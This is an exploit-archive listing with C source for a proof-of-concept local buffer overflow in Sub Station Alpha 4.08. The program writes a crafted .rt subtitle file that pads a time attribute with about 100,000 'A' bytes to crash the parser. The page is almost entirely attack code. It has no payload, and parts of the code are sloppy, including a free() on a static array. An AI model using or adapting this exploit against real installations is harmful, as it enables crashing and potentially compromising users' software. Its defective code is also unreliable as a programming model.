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Sub Station Alpha 4.08 Buffer Overflow

Sub Station Alpha 4.08 Buffer Overflow
Posted Jan 15, 2010
Authored by fl0 fl0w

Sub Station Alpha version 4.08 .rt file local buffer overflow proof of concept exploit.

tags | exploit, overflow, local, proof of concept
MD5 | d15c93ce4b99bb84a41e6b4183747c43

Sub Station Alpha 4.08 Buffer Overflow

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/*Sub Station Alpha v4.08 .rt file local buffer overflow poc
by fl0 fl0w*/
#include <string.h>
#include <stdio.h>

#define FIL3 "testfile.rt"
char header[]=
{
"\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30"
"\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C"
"\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D"
"\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22" //header 109 bytes
};
char tail[]=
{
//junk
"\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74"
"\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39"
"\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72"
"\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65"
"\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F"
"\x77\x3E\x0D\x0A" //tail 154 bytes
};
char banner[]=
{
"***********************************************************\n"
"Sub Station Alpha v4.08 .rt file local buffer overflow poc*\n"
" by fl0 fl0w *\n"
"***********************************************************\n"
};
/*--------prototypes------*/
int cpy(char*,char*,int);
int cpystr(char*,int,int,int);
void print(char*);
unsigned int getFsize(FILE*,char*);
/*-----extern var--------*/
char b[1000000];
char *size;
char junk[1000000];
/*--------main---------------*/
int main()
{
printf("%s",banner);
print("Starting sploit");
memset(junk,0x41,99999);
buildf(FIL3);
print("File done!");
getchar();
return 0;
}
int buildf(char* fname)
{
FILE* fp=fopen(fname,"wb");

if(fp==NULL)
{
print("File writing error");
exit(0);
}
fprintf(fp,"%s%s%s",header,junk,tail);
printf("[!]File is %d bytes",getFsize(fp,FIL3));
fclose(fp);
free(b);

return 0;
}
unsigned int getFsize(FILE* g,char* gname)
{
unsigned int s;

g=fopen(gname,"rb");

if(g==NULL)
{
print("File error at reading");
exit(0);
}
fseek(g,0,SEEK_END);
s=ftell(g);

return s;
}
int cpy(char* source,char* dest,int offset)
{
int len;
len=strlen(source);
memcpy(dest+offset,source,len+1);

return len;
}
int cpystr(char* dest,int str,int len,int offset)
{
memset(dest+offset,str,len+1);
return len;
}
void print(char* msg)
{
printf("\n[*]%s\n",msg);
}

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